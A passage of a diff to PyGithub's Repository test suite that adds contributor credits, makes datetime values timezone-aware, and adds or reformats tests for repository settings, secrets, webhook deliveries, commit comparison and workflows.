b/tests/Repository.py index c6d6a31ac7..39d9f47a2b 100644 --- a/tests/Repository.py +++ b/tests/Repository.py @@ -14,6 +14,9 @@ # Copyright 2016 Jannis Gebauer # # Copyright 2016 Jimmy Zelinskie # # Copyright 2016 Peter Buckley # +# Copyright 2018 AetherDeity # +# Copyright 2018 Alice GIRARD # +# Copyright 2018 Benoit Latinier # # Copyright 2018 Hayden Fuss # # Copyright 2018 Iraquitan Cordeiro Filho # # Copyright 2018 Jacopo Notarstefano # @@ -26,7 +29,40 @@ # Copyright 2018 Wan Liuyang # # Copyright 2018 Will Yardley # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># +# Copyright 2019 Tim Gates # +# Copyright 2019 Wan Liuyang # +# Copyright 2019 Will Li # +# Copyright 2020 Chris de Graaf # +# Copyright 2020 Florent Clarret # +# Copyright 2020 Glenn McDonald # +# Copyright 2020 Huw Jones # # Copyright 2020 Pascal Hofmann # +# Copyright 2020 Steve Kowalik # +# Copyright 2020 ton-katsu # +# Copyright 2021 Chris Keating # +# Copyright 2021 Steve Kowalik # +# Copyright 2021 karsten-wagner <39054096+karsten-wagner@users.noreply.github.com># +# Copyright 2021 xmo-odoo # +# Copyright 2022 Eric Nieuwland # +# Copyright 2022 Ibrahim Hussaini # +# Copyright 2022 KimSia Sim <245021+simkimsia@users.noreply.github.com> # +# Copyright 2022 Marco Köpcke # +# Copyright 2023 Andrew Dawes <53574062+AndrewJDawes@users.noreply.github.com> # +# Copyright 2023 Armen Martirosyan # +# Copyright 2023 BradChengIRESS <49461141+BradChengIRESS@users.noreply.github.com># +# Copyright 2023 Enrico Minack # +# Copyright 2023 Felipe Peter # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Jonathan Greg <31892308+jmgreg31@users.noreply.github.com> # +# Copyright 2023 Mauricio Alejandro Martínez Pacheco # +# Copyright 2023 Mauricio Alejandro Martínez Pacheco # +# Copyright 2023 Max Mehl <6170081+mxmehl@users.noreply.github.com> # +# Copyright 2023 Roberto Pastor Muela <37798125+RobPasMue@users.noreply.github.com># +# Copyright 2023 Trim21 # +# Copyright 2023 Wojciech Barczyński <104033489+WojciechBarczynski@users.noreply.github.com># +# Copyright 2024 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -46,7 +82,7 @@ # # ################################################################################ -import datetime +from datetime import date, datetime, timezone from unittest import mock import github @@ -59,19 +95,14 @@ def setUp(self): super().setUp() self.user = self.g.get_user() self.repo = self.user.get_repo("PyGithub") - self.org = self.g.get_organization("coveo") - self.secrets_repo = self.org.get_repo("github-api-playground") def testAttributes(self): + self.assertEqual(self.repo.clone_url, "https://github.com/jacquev6/PyGithub.git") self.assertEqual( - self.repo.clone_url, "https://github.com/jacquev6/PyGithub.git" - ) - self.assertEqual( - self.repo.created_at, datetime.datetime(2012, 2, 25, 12, 53, 47) - ) - self.assertEqual( - self.repo.description, "Python library implementing the full Github API v3" + self.repo.created_at, + datetime(2012, 2, 25, 12, 53, 47, tzinfo=timezone.utc), ) + self.assertEqual(self.repo.description, "Python library implementing the full Github API v3") self.assertFalse(self.repo.fork) self.assertEqual(self.repo.forks, 3) self.assertEqual(self.repo.full_name, "jacquev6/PyGithub") @@ -93,6 +124,7 @@ def testAttributes(self): self.assertEqual(self.repo.id, 3544490) self.assertIs(self.repo.is_template, None) self.assertEqual(self.repo.language, "Python") + self.assertEqual(self.repo.license.spdx_id, "LGPL-3.0") self.assertEqual(self.repo.master_branch, None) self.assertEqual(self.repo.name, "PyGithub") self.assertEqual(self.repo.open_issues, 16) @@ -103,17 +135,19 @@ def testAttributes(self): self.assertTrue(self.repo.permissions.pull) self.assertTrue(self.repo.permissions.push) self.assertFalse(self.repo.private) - self.assertEqual(self.repo.pushed_at, datetime.datetime(2012, 5, 27, 6, 0, 28)) + self.assertEqual( + self.repo.pushed_at, + datetime(2012, 5, 27, 6, 0, 28, tzinfo=timezone.utc), + ) self.assertEqual(self.repo.size, 308) self.assertEqual(self.repo.source, None) self.assertEqual(self.repo.ssh_url, "git@github.com:jacquev6/PyGithub.git") self.assertEqual(self.repo.svn_url, "https://github.com/jacquev6/PyGithub") self.assertEqual( - self.repo.updated_at, datetime.datetime(2012, 5, 27, 6, 55, 28) - ) - self.assertEqual( - self.repo.url, "https://api.github.com/repos/jacquev6/PyGithub" + self.repo.updated_at, + datetime(2012, 5, 27, 6, 55, 28, tzinfo=timezone.utc), ) + self.assertEqual(self.repo.url, "https://api.github.com/repos/jacquev6/PyGithub") self.assertEqual(self.repo.watchers, 15) self.assertEqual(repr(self.repo), 'Repository(full_name="jacquev6/PyGithub")') self.assertTrue(self.repo.permissions.admin) @@ -122,15 +156,20 @@ def testAttributes(self): # Allow None or any boolean value for backwards compatibility self.assertIn(self.repo.permissions.maintain, [None, False, True]) self.assertIn(self.repo.permissions.triage, [None, False, True]) - self.assertIn( - "enabled", self.repo.security_and_analysis.advanced_security.status - ) + self.assertIn("enabled", self.repo.security_and_analysis.advanced_security.status) self.assertIn("enabled", self.repo.security_and_analysis.secret_scanning.status) self.assertIn( "disabled", self.repo.security_and_analysis.secret_scanning_push_protection.status, ) + self.assertTrue(self.repo.use_squash_pr_title_as_default) + self.assertEqual(self.repo.squash_merge_commit_title, "PR_TITLE") + self.assertEqual(self.repo.squash_merge_commit_message, "COMMIT_MESSAGES") + self.assertEqual(self.repo.merge_commit_title, "PR_TITLE") + self.assertEqual(self.repo.merge_commit_message, "PR_BODY") + self.assertTrue(self.repo.web_commit_signoff_required) + def testEditWithoutArguments(self): self.repo.edit("PyGithub") @@ -143,28 +182,41 @@ def testEditWithAllArguments(self): has_issues=True, has_projects=False, has_wiki=False, - has_downloads=True, + allow_auto_merge=True, allow_forking=True, + allow_update_branch=True, allow_squash_merge=True, allow_merge_commit=True, allow_rebase_merge=True, delete_branch_on_merge=True, + use_squash_pr_title_as_default=True, + is_template=True, + squash_merge_commit_title="PR_TITLE", + squash_merge_commit_message="COMMIT_MESSAGES", + merge_commit_title="PR_TITLE", + merge_commit_message="PR_BODY", + web_commit_signoff_required=True, ) self.assertEqual(self.repo.description, "Description edited by PyGithub") self.repo.edit("PyGithub", "Python library implementing the full Github API v3") - self.assertEqual( - self.repo.description, "Python library implementing the full Github API v3" - ) + self.assertEqual(self.repo.description, "Python library implementing the full Github API v3") self.assertFalse(self.repo.archived) + self.assertTrue(self.repo.allow_update_branch) self.assertTrue(self.repo.has_issues) self.assertFalse(self.repo.has_projects) self.assertFalse(self.repo.has_wiki) - self.assertTrue(self.repo.has_downloads) + self.assertTrue(self.repo.allow_auto_merge) self.assertTrue(self.repo.allow_forking) self.assertTrue(self.repo.allow_squash_merge) self.assertTrue(self.repo.allow_merge_commit) self.assertTrue(self.repo.allow_rebase_merge) self.assertTrue(self.repo.delete_branch_on_merge) + self.assertTrue(self.repo.use_squash_pr_title_as_default) + self.assertEqual(self.repo.squash_merge_commit_title, "PR_TITLE") + self.assertEqual(self.repo.squash_merge_commit_message, "COMMIT_MESSAGES") + self.assertEqual(self.repo.merge_commit_title, "PR_TITLE") + self.assertEqual(self.repo.merge_commit_message, "PR_BODY") + self.assertTrue(self.repo.web_commit_signoff_required) def testEditWithDefaultBranch(self): self.assertEqual(self.repo.master_branch, None) @@ -187,7 +239,7 @@ def testCreateMilestone(self): "Milestone created by PyGithub", state="open", description="Description created by PyGithub", - due_on=datetime.date(2012, 6, 15), + due_on=date(2012, 6, 15), ) self.assertEqual(milestone.number, 5) @@ -254,9 +306,7 @@ def testCreateHookWithMinimalParameters(self): self.assertEqual(hook.id, 257967) def testCreateHookWithAllParameters(self): - hook = self.repo.create_hook( - "web", {"url": "http://foobar.com"}, ["fork"], False - ) + hook = self.repo.create_hook("web", {"url": "http://foobar.com"}, ["fork"], False) self.assertTrue(hook.active) # WTF self.assertEqual(hook.id, 257993) @@ -271,9 +321,7 @@ def testCreateGitRef(self): ) def testCreateAutolink(self): - key = self.repo.create_autolink( - "DUMMY-", "https://github.com/PyGithub/PyGithub/issues/" - ) + key = self.repo.create_autolink("DUMMY-", "https://github.com/PyGithub/PyGithub/issues/") self.assertEqual(key.id, 209614) def testCreateGitBlob(self): @@ -282,18 +330,12 @@ def testCreateGitBlob(self): def testCreateGitTree(self): tree = self.repo.create_git_tree( - [ - github.InputGitTreeElement( - "Foobar.txt", "100644", "blob", content="File created by PyGithub" - ) - ] + [github.InputGitTreeElement("Foobar.txt", "100644", "blob", content="File created by PyGithub")] ) self.assertEqual(tree.sha, "41cf8c178c636a018d537cb20daae09391efd70b") def testCreateGitTreeWithBaseTree(self): - base_tree = self.repo.get_git_tree( - "41cf8c178c636a018d537cb20daae09391efd70b", recursive=False - ) + base_tree = self.repo.get_git_tree("41cf8c178c636a018d537cb20daae09391efd70b", recursive=False) tree = self.repo.create_git_tree( [ github.InputGitTreeElement( @@ -344,9 +386,7 @@ def testCreateGitCommitWithParents(self): self.repo.get_git_commit("12d427464f8d91c8e981043a86ba8a2a9e7319ea"), ] tree = self.repo.get_git_tree("fae707821159639589bf94f3fb0a7154ec5d441b") - commit = self.repo.create_git_commit( - "Commit created by PyGithub", tree, parents - ) + commit = self.repo.create_git_commit("Commit created by PyGithub", tree, parents) self.assertEqual(commit.sha, "6adf9ea25ff8a8f2a42bcb1c09e42526339037cd") def testCreateGitCommitWithAllArguments(self): @@ -355,12 +395,8 @@ def testCreateGitCommitWithAllArguments(self): "Commit created by PyGithub", tree, [], - github.InputGitAuthor( - "John Doe", "j.doe@vincent-jacques.net", "2008-07-09T16:13:30+12:00" - ), - github.InputGitAuthor( - "John Doe", "j.doe@vincent-jacques.net", "2008-07-09T16:13:30+12:00" - ), + github.InputGitAuthor("John Doe", "j.doe@vincent-jacques.net", "2008-07-09T16:13:30+12:00"), + github.InputGitAuthor("John Doe", "j.doe@vincent-jacques.net", "2008-07-09T16:13:30+12:00"), ) self.assertEqual(commit.sha, "526946197ae9da59c6507cacd13ad6f1cfb686ea") @@ -383,6 +419,7 @@ def testCreateGitReleaseWithAllArguments(self): "This release is also created by PyGithub", False, True, + False, "da9a285fd8b782461e56cba39ae8d2fa41ca7cdc", ) self.assertEqual(release.tag_name, "vX.Y.Z-by-PyGithub-acctest2") @@ -390,11 +427,7 @@ def testCreateGitReleaseWithAllArguments(self): self.assertEqual(release.body, "This release is also created by PyGithub") self.assertEqual(release.draft, False) self.assertEqual(release.prerelease, True) - tag = [ - tag - for tag in self.repo.get_tags() - if tag.name == "vX.Y.Z-by-PyGithub-acctest2" - ].pop() + tag = [tag for tag in self.repo.get_tags() if tag.name == "vX.Y.Z-by-PyGithub-acctest2"].pop() self.assertEqual(tag.commit.sha, "da9a285fd8b782461e56cba39ae8d2fa41ca7cdc") def testCreateGitTag(self): @@ -412,9 +445,7 @@ def testCreateGitTagWithAllArguments(self): "Tag also created by PyGithub", "526946197ae9da59c6507cacd13ad6f1cfb686ea", "commit", - github.InputGitAuthor( - "John Doe", "j.doe@vincent-jacques.net", "2008-07-09T16:13:30+12:00" - ), + github.InputGitAuthor("John Doe", "j.doe@vincent-jacques.net", "2008-07-09T16:13:30+12:00"), ) self.assertEqual(tag.sha, "f0e99a8335fbc84c53366c4a681118468f266625") @@ -427,9 +458,7 @@ def testCreateKey(self): def testCreateSourceImport(self): import_repo = self.g.get_user("brix4dayz").get_repo("source-import-test") - source_import = import_repo.create_source_import( - "mercurial", "https://bitbucket.org/hfuss/source-import-test" - ) + source_import = import_repo.create_source_import("mercurial", "https://bitbucket.org/hfuss/source-import-test") self.assertEqual(source_import.authors_count, 0) self.assertEqual( source_import.authors_url, @@ -450,9 +479,7 @@ def testCreateSourceImport(self): "https://api.github.com/repos/brix4dayz/source-import-test/import", ) self.assertEqual(source_import.vcs, "mercurial") - self.assertEqual( - source_import.vcs_url, "https://bitbucket.org/hfuss/source-import-test" - ) + self.assertEqual(source_import.vcs_url, "https://bitbucket.org/hfuss/source-import-test") def testCreateRepositoryDispatch(self): with_payload = self.repo.create_repository_dispatch("type", {"foo": "bar"}) @@ -460,24 +487,34 @@ def testCreateRepositoryDispatch(self): without_payload = self.repo.create_repository_dispatch("type") self.assertTrue(without_payload) - # encrypt returns a non-deterministic value, we need to mock it so the replay data matches - @mock.patch("github.PublicKey.encrypt", return_value="MOCK_ENCRYPTED_VALUE") - def testCreateSecret(self, _encrypt): - self.assertTrue(self.repo.create_secret("secret-name", "secret-value")) - - def testListSecrets(self): - secrets = self.secrets_repo.list_repository_secrets() - - secret = secrets[0] - self.assertEqual("TEST_SECRET", secret.name) - self.assertEqual(datetime.datetime(2021, 7, 6, 19, 53, 25), secret.created_at) - self.assertEqual(datetime.datetime(2021, 7, 6, 19, 53, 25), secret.updated_at) - self.assertEqual( - None, secret.visibility - ) # No visibility for repository secrets - - def testDeleteSecret(self): - self.assertTrue(self.repo.delete_secret("secret_name")) + @mock.patch("github.PublicKey.encrypt") + def testCreateSecret(self, encrypt): + # encrypt returns a non-deterministic value, we need to mock it so the replay data matches + encrypt.return_value = "M+5Fm/BqTfB90h3nC7F3BoZuu3nXs+/KtpXwxm9gG211tbRo0F5UiN0OIfYT83CKcx9oKES9Va4E96/b" + secret = self.repo.create_secret("secret-name", "secret-value") + self.assertIsNotNone(secret) + + @mock.patch("github.PublicKey.encrypt") + def testRepoSecrets(self, encrypt): + # encrypt returns a non-deterministic value, we need to mock it so the replay data matches + encrypt.return_value = "M+5Fm/BqTfB90h3nC7F3BoZuu3nXs+/KtpXwxm9gG211tbRo0F5UiN0OIfYT83CKcx9oKES9Va4E96/b" + # GitHub will always capitalize the secret name + secrets = (("SECRET_NAME_ONE", "secret-value-one"), ("SECRET_NAME_TWO", "secret-value-two")) + repo = self.g.get_repo("AndrewJDawes/PyGithub") + for matched_repo_secret in secrets: + repo.create_secret(matched_repo_secret[0], matched_repo_secret[1]) + repo.update() + repo_secrets = repo.get_secrets() + matched_repo_secrets = [] + for matched_repo_secret in secrets: + for repo_secret in repo_secrets: + # GitHub will always capitalize the secret name, may be best to uppercase test data for comparison + if repo_secret.name == matched_repo_secret[0].upper(): + matched_repo_secrets.append(repo_secret) + break + self.assertEqual(len(matched_repo_secrets), len(secrets)) + for matched_repo_secret in matched_repo_secrets: + matched_repo_secret.delete() def testCodeScanAlerts(self): codescan_alerts = self.repo.get_codescan_alerts() @@ -497,11 +534,11 @@ def testCodeScanAlerts(self): ) self.assertEqual( codescan_alert.created_at, - datetime.datetime(2021, 6, 29, 12, 28, 30), + datetime(2021, 6, 29, 12, 28, 30, tzinfo=timezone.utc), ) self.assertEqual( codescan_alert.dismissed_at, - datetime.datetime(2021, 6, 30, 5, 5, 5), + datetime(2021, 6, 30, 5, 5, 5, tzinfo=timezone.utc), ) self.assertEqual(codescan_alert.dismissed_reason, "Won't tell") dismissed_by = codescan_alert.dismissed_by @@ -515,9 +552,7 @@ def testCodeScanAlerts(self): ")", ) self.assertEqual(instance.ref, "refs/heads/master") - self.assertEqual( - instance.analysis_key, ".github/workflows/codeql-analysis.yml:analyze" - ) + self.assertEqual(instance.analysis_key, ".github/workflows/codeql-analysis.yml:analyze") self.assertEqual(instance.environment, "{language:python}") self.assertEqual(instance.state, "open") self.assertListEqual(instance.classifications, ["stupid typo"]) @@ -536,26 +571,20 @@ def testCodeScanAlerts(self): "end_line=10, end_column=48" ")", ) - self.assertEqual( - location.path, "tests/ReplayData/Repository.testCodeScanAlerts.txt" - ) + self.assertEqual(location.path, "tests/ReplayData/Repository.testCodeScanAlerts.txt") self.assertEqual(location.start_line, 10) self.assertEqual(location.start_column, 2) self.assertEqual(location.end_line, 10) self.assertEqual(location.end_column, 48) rule = codescan_alert.rule - self.assertEqual( - repr(rule), 'CodeScanRule(name="py/rule-name", id="py/rule-id")' - ) + self.assertEqual(repr(rule), 'CodeScanRule(name="py/rule-name", id="py/rule-id")') self.assertEqual(rule.id, "py/rule-id") self.assertEqual(rule.name, "py/rule-name") self.assertEqual(rule.security_severity_level, "high") self.assertEqual(rule.severity, "warning") self.assertEqual(rule.description, "Bad practice") tool = codescan_alert.tool - self.assertEqual( - repr(tool), 'CodeScanTool(version="2.5.7", name="CodeQL", guid=None)' - ) + self.assertEqual(repr(tool), 'CodeScanTool(version="2.5.7", name="CodeQL", guid=None)') self.assertEqual(tool.guid, None) self.assertEqual(tool.name, "CodeQL") self.assertEqual(tool.version, "2.5.7") @@ -571,9 +600,7 @@ def testCodeScanAlerts(self): self.assertDictEqual(instance.message, {"text": "instances[0].message"}) self.assertEqual(instance.commit_sha, "instances[0].commit_sha") location = instance.location - self.assertEqual( - location.path, "tests/ReplayData/Repository.testCodeScanAlerts.txt" - ) + self.assertEqual(location.path, "tests/ReplayData/Repository.testCodeScanAlerts.txt") self.assertEqual(location.start_line, 10) self.assertEqual(location.start_column, 2) self.assertEqual(location.end_line, 10) @@ -588,9 +615,7 @@ def testCodeScanAlerts(self): self.assertDictEqual(instance.message, {"text": "instances[1].message"}) self.assertEqual(instance.commit_sha, "instances[1].commit_sha") location = instance.location - self.assertEqual( - location.path, "tests/ReplayData/Repository.testCodeScanAlerts.txt" - ) + self.assertEqual(location.path, "tests/ReplayData/Repository.testCodeScanAlerts.txt") self.assertEqual(location.start_line, 20) self.assertEqual(location.start_column, 17) self.assertEqual(location.end_line, 20) @@ -674,9 +699,7 @@ def testCompare(self): "setup.py", ], ) - self.assertEqual( - comparison.base_commit.sha, "4303c5b90e2216d927155e9609436ccb8984c495" - ) + self.assertEqual(comparison.base_commit.sha, "4303c5b90e2216d927155e9609436ccb8984c495") self.assertListKeyEqual( comparison.commits, lambda c: c.sha, @@ -688,6 +711,40 @@ def testCompare(self): ], ) + def testCompareCommitPagination(self): + gh = github.Github( + auth=self.oauth_token, + per_page=4, + retry=self.retry, + pool_size=self.pool_size, + seconds_between_requests=self.seconds_between_requests, + seconds_between_writes=self.seconds_between_writes, + ) + repo = gh.get_repo("PyGithub/PyGithub") + comparison = repo.compare("v1.54", "v1.54.1") + self.assertEqual(comparison.status, "ahead") + self.assertEqual(comparison.ahead_by, 10) + self.assertEqual(comparison.behind_by, 0) + self.assertEqual(comparison.total_commits, 10) + self.assertEqual(len(comparison.files), 228) + self.assertEqual(comparison.commits.totalCount, 10) + self.assertListKeyEqual( + comparison.commits, + lambda c: c.sha, + [ + "fab682a5ccfc275c31ec37f1f541254c7bd780f3", + "9ee3afb1716c559a0b3b44e097c05f4b14ae2ab8", + "a806b5233f6423e0f8dacc4d04b6d81a72689bed", + "63e4fae997a9a5dc8c2b56907c87c565537bb28f", + "82c349ce3e1c556531110753831b3133334c19b7", + "2432cffd3b2f1a8e0b6b96d69b3dd4ded148a9f7", + "e113e37de1ec687c68337d777f3629251b35ab28", + "f299699ccd75910593d5ddf7cc6212f70c5c28b1", + "31a1c007808a4205bdae691385d2627c561e69ed", + "34d097ce473601624722b90fc5d0396011dd3acb", + ], + ) + def testGetComments(self): self.assertListKeyEqual( self.repo.get_comments(), @@ -783,9 +840,7 @@ def testGetCommits(self): def testGetCommitsWithArguments(self): self.assertListKeyEqual( - self.repo.get_commits( - "topic/RewriteWithGeneratedCode", "codegen/GenerateCode.py" - ), + self.repo.get_commits("topic/RewriteWithGeneratedCode", "codegen/GenerateCode.py"), lambda c: c.sha, [ "de386d5dc9cf103c90c4128eeca0e6abdd382065", @@ -801,8 +856,8 @@ def testGetCommitsWithArguments(self): def testGetCommitsWithSinceUntil(self): self.assertListKeyEqual( self.repo.get_commits( - since=datetime.datetime(2013, 3, 1), - until=datetime.datetime(2013, 3, 31), + since=datetime(2013, 3, 1), + until=datetime(2013, 3, 31), ), lambda c: c.sha, [ @@ -893,14 +948,10 @@ def testGetEvents(self): ) def testGetForks(self): - self.assertListKeyEqual( - self.repo.get_forks(), lambda r: r.owner.login, ["abersager"] - ) + self.assertListKeyEqual(self.repo.get_forks(), lambda r: r.owner.login, ["abersager"]) def testCreateFork(self): - self.assertEqual( - self.repo.create_fork("prtg-dev").full_name, "prtg-dev/PyGithub" - ) + self.assertEqual(self.repo.create_fork("prtg-dev").full_name, "prtg-dev/PyGithub") def testCreateForkOrg(self): c = self.g.get_organization("prtg-dev") @@ -950,6 +1001,49 @@ def testGetGitTreeWithRecursive(self): def testGetHooks(self): self.assertListKeyEqual(self.repo.get_hooks(), lambda h: h.id, [257993]) + def testGetHookDelivery(self): + delivery = self.repo.get_hook_delivery(257993, 12345) + self.assertEqual(delivery.id, 12345) + self.assertEqual(delivery.guid, "abcde-12345") + self.assertEqual( + delivery.delivered_at, + datetime(2012, 5, 27, 6, 0, 32, tzinfo=timezone.utc), + ) + self.assertEqual(delivery.redelivery, False) + self.assertEqual(delivery.duration, 0.27) + self.assertEqual(delivery.status, "OK") + self.assertEqual(delivery.status_code, 200) + self.assertEqual(delivery.event, "issues") + self.assertEqual(delivery.action, "opened") + self.assertEqual(delivery.installation_id, 123) + self.assertEqual(delivery.repository_id, 456) + self.assertEqual(delivery.url, "https://www.example-webhook.com") + self.assertIsInstance(delivery.request, github.HookDelivery.HookDeliveryRequest) + self.assertEqual(delivery.request.headers, {"content-type": "application/json"}) + self.assertEqual(delivery.request.payload, {"action": "opened"}) + self.assertIsInstance(delivery.response, github.HookDelivery.HookDeliveryResponse) + self.assertEqual(delivery.response.headers, {"content-type": "text/html;charset=utf-8"}) + self.assertEqual(delivery.response.payload, "ok") + + def testGetHookDeliveries(self): + deliveries = list(self.repo.get_hook_deliveries(257993)) + self.assertEqual(len(deliveries), 1) + self.assertEqual(deliveries[0].id, 12345) + self.assertEqual(deliveries[0].guid, "abcde-12345") + self.assertEqual( + deliveries[0].delivered_at, + datetime(2012, 5, 27, 6, 0, 32, tzinfo=timezone.utc), + ) + self.assertEqual(deliveries[0].redelivery, False) + self.assertEqual(deliveries[0].duration, 0.27) + self.assertEqual(deliveries[0].status, "OK") + self.assertEqual(deliveries[0].status_code, 200) + self.assertEqual(deliveries[0].event, "issues") + self.assertEqual(deliveries[0].action, "opened") + self.assertEqual(deliveries[0].installation_id, 123) + self.assertEqual(deliveries[0].repository_id, 456) + self.assertEqual(deliveries[0].url, "https://www.example-webhook.com") + def testGetIssues(self): self.assertListKeyEqual( self.repo.get_issues(), @@ -984,12 +1078,8 @@ def testGetIssuesWithArguments(self): lambda i: i.id, [3624472, 3620132, 3619658, 3561926], ) - self.assertListKeyEqual( - self.repo.get_issues(labels=[bug]), lambda i: i.id, [4780155] - ) - self.assertListKeyEqual( - self.repo.get_issues(labels=[bug.name]), lambda i: i.id, [4780155] - ) + self.assertListKeyEqual(self.repo.get_issues(labels=[bug]), lambda i: i.id, [4780155]) + self.assertListKeyEqual(self.repo.get_issues(labels=[bug.name]), lambda i: i.id, [4780155]) self.assertListKeyEqual( self.repo.get_issues(assignee=user, sort="comments", direction="asc"), lambda i: i.id, @@ -1011,13 +1101,11 @@ def testGetIssuesWithArguments(self): ], ) self.assertListKeyEqual( - self.repo.get_issues(since=datetime.datetime(2012, 5, 28, 23, 0, 0)), + self.repo.get_issues(since=datetime(2012, 5, 28, 23, 0, 0, tzinfo=timezone.utc)), lambda i: i.id, [4793216, 4793162, 4793106, 3624556, 3619973, 3527266], ) - self.assertListKeyEqual( - self.repo.get_issues(mentioned=otherUser), lambda i: i.id, [4793162] - ) + self.assertListKeyEqual(self.repo.get_issues(mentioned=otherUser), lambda i: i.id, [4793162]) def testGetIssuesWithWildcards(self): self.assertListKeyEqual( @@ -1049,19 +1137,15 @@ def testGetIssuesWithWildcards(self): 3527231, ], ) - self.assertListKeyEqual( - self.repo.get_issues(assignee="none"), lambda i: i.id, [3619973] - ) + self.assertListKeyEqual(self.repo.get_issues(assignee="none"), lambda i: i.id, [3619973]) def testGetKeys(self): - self.assertListKeyEqual( - self.repo.get_keys(), lambda k: k.title, ["Key added through PyGithub"] - ) + self.assertListKeyEqual(self.repo.get_keys(), lambda k: k.title, ["Key added through PyGithub"]) def testGetLabels(self): self.assertListKeyEqual( self.repo.get_labels(), - lambda l: l.name, + lambda lb: lb.name, [ "Refactoring", "Public interface", @@ -1134,9 +1218,11 @@ def testGetWatchers(self): def testGetWorkflows(self): workflows = self.g.get_repo("PyGithub/PyGithub").get_workflows() - self.assertListKeyEqual( - workflows, lambda w: w.name, ["check", "Publish to PyPI"] - ) + self.assertListKeyEqual(workflows, lambda w: w.name, ["check", "Publish to PyPI"]) + + def testGetWorkflowId(self): + workflows = self.g.get_repo("PyGithub/PyGithub").get_workflow("1122712") + self.assertEqual(workflows.id, 1122712) def testGetWorkflowRuns(self): self.assertListKeyEqual( @@ -1172,9 +1258,7 @@ def testGetSourceImport(self): ) self.assertEqual(source_import.use_lfs, "undecided") self.assertEqual(source_import.vcs, "mercurial") - self.assertEqual( - source_import.vcs_url, "https://bitbucket.org/hfuss/source-import-test" - ) + self.assertEqual(source_import.vcs_url, "https://bitbucket.org/hfuss/source-import-test") def testGetStargazers(self): self.assertListKeyEqual( @@ -1258,12 +1342,30 @@ def testGetStargazersWithDates(self): stargazers, lambda stargazer: (stargazer.starred_at, stargazer.user.login), [ - (datetime.datetime(2014, 8, 13, 19, 22, 5), "sAlexander"), - (datetime.datetime(2014, 10, 15, 5, 2, 30), "ThomasG77"), - (datetime.datetime(2015, 4, 14, 15, 22, 40), "therusek"), - (datetime.datetime(2015, 4, 29, 0, 9, 40), "athomann"), - (datetime.datetime(2015, 4, 29, 14, 26, 46), "jcapron"), - (datetime.datetime(2015, 5, 9, 19, 14, 45), "JoePython1"), + ( + datetime(2014, 8, 13, 19, 22, 5, tzinfo=timezone.utc), + "sAlexander", + ), + ( + datetime(2014, 10, 15, 5, 2, 30, tzinfo=timezone.utc), + "ThomasG77", + ), + ( + datetime(2015, 4, 14, 15, 22, 40, tzinfo=timezone.utc), + "therusek", + ), + ( + datetime(2015, 4, 29, 0, 9, 40, tzinfo=timezone.utc), + "athomann", + ), + ( + datetime(2015, 4, 29, 14, 26, 46, tzinfo=timezone.utc), + "jcapron", + ), + ( + datetime(2015, 5, 9, 19, 14, 45, tzinfo=timezone.utc), + "JoePython1", + ), ], ) self.assertEqual(repr(stargazers[0]), 'Stargazer(user="sAlexander")') @@ -1289,34 +1391,29 @@ def testGetSubscribers(self): def testCreatePull(self): pull = self.repo.create_pull( - "Pull request created by PyGithub", - "Body of the pull request", - "topic/RewriteWithGeneratedCode", - "BeaverSoftware:master", - True, + title="Pull request created by PyGithub", + body="Body of the pull request", + base="topic/RewriteWithGeneratedCode", + head="BeaverSoftware:master", + draft=False, + maintainer_can_modify=True, ) self.assertEqual(pull.id, 1436215) def testCreateProject(self): - project = self.repo.create_project( - "Project created by PyGithub", "Body of the project" - ) + project = self.repo.create_project("Project created by PyGithub", "Body of the project") self.assertEqual(project.id, 2013820) def testCreatePullFromIssue(self): issue = self.repo.get_issue(32) - pull = self.repo.create_pull( - issue, "topic/RewriteWithGeneratedCode", "BeaverSoftware:master" - ) + pull = self.repo.create_pull("topic/RewriteWithGeneratedCode", "BeaverSoftware:master", issue=issue) self.assertEqual(pull.id, 1436310) def testGetPulls(self): self.assertListKeyEqual(self.repo.get_pulls(), lambda p: p.id, [1436310]) def testGetPullsWithArguments(self): - self.assertListKeyEqual( - self.repo.get_pulls("closed"), lambda p: p.id, [1448168, 1436310, 1436215] - ) + self.assertListKeyEqual(self.repo.get_pulls("closed"), lambda p: p.id, [1448168, 1436310, 1436215]) def testGetAutolinks(self): self.assertListKeyEqual( @@ -1335,24 +1432,24 @@ def testLegacySearchIssues(self): # Attributes retrieved from legacy API without lazy completion call self.assertEqual(issues[0].number, 49) self.assertEqual( - issues[0].created_at, datetime.datetime(2012, 6, 21, 12, 27, 38) + issues[0].created_at, + datetime(2012, 6, 21, 12, 27, 38, tzinfo=timezone.utc), ) self.assertEqual(issues[0].comments, 4) self.assertEqual(issues[0].body[:20], "New API ported from ") self.assertEqual(issues[0].title, "Support new Search API") self.assertEqual( - issues[0].updated_at, datetime.datetime(2012, 6, 28, 21, 13, 25) + issues[0].updated_at, + datetime(2012, 6, 28, 21, 13, 25, tzinfo=timezone.utc), ) self.assertEqual(issues[0].user.login, "kukuts") self.assertEqual(issues[0].user.url, "/users/kukuts") - self.assertListKeyEqual( - issues[0].labels, lambda l: l.name, ["Functionalities", "RequestedByUser"] - ) + self.assertListKeyEqual(issues[0].labels, lambda lb: lb.name, ["Functionalities", "RequestedByUser"]) self.assertEqual(issues[0].state, "open") def testMarkNotificationsAsRead(self): repo = self.g.get_user().get_repo("PyGithub") - repo.mark_notifications_as_read(datetime.datetime(2018, 10, 18, 18, 19, 43, 0)) + repo.mark_notifications_as_read(datetime(2018, 10, 18, 18, 19, 43, 0)) def testAssignees(self): lyloa = self.g.get_user("Lyloa") @@ -1361,17 +1458,13 @@ def testAssignees(self): self.assertFalse(self.repo.has_in_assignees(lyloa)) self.repo.add_to_collaborators(lyloa) self.assertTrue(self.repo.has_in_assignees(lyloa)) - self.assertListKeyEqual( - self.repo.get_assignees(), lambda u: u.login, ["jacquev6", "Lyloa"] - ) + self.assertListKeyEqual(self.repo.get_assignees(), lambda u: u.login, ["jacquev6", "Lyloa"]) self.repo.remove_from_collaborators(lyloa) self.assertFalse(self.repo.has_in_assignees(lyloa)) def testGetContents(self): self.assertEqual(len(self.repo.get_readme().content), 10212) - self.assertEqual( - len(self.repo.get_contents("doc/ReferenceOfClasses.md").content), 38121 - ) + self.assertEqual(len(self.repo.get_contents("doc/ReferenceOfClasses.md").content), 38121) def testGetContentsDir(self): contents = self.repo.get_contents("") @@ -1385,11 +1478,7 @@ def testGetContentsDirWithSlash(self): def testGetContentsWithRef(self): 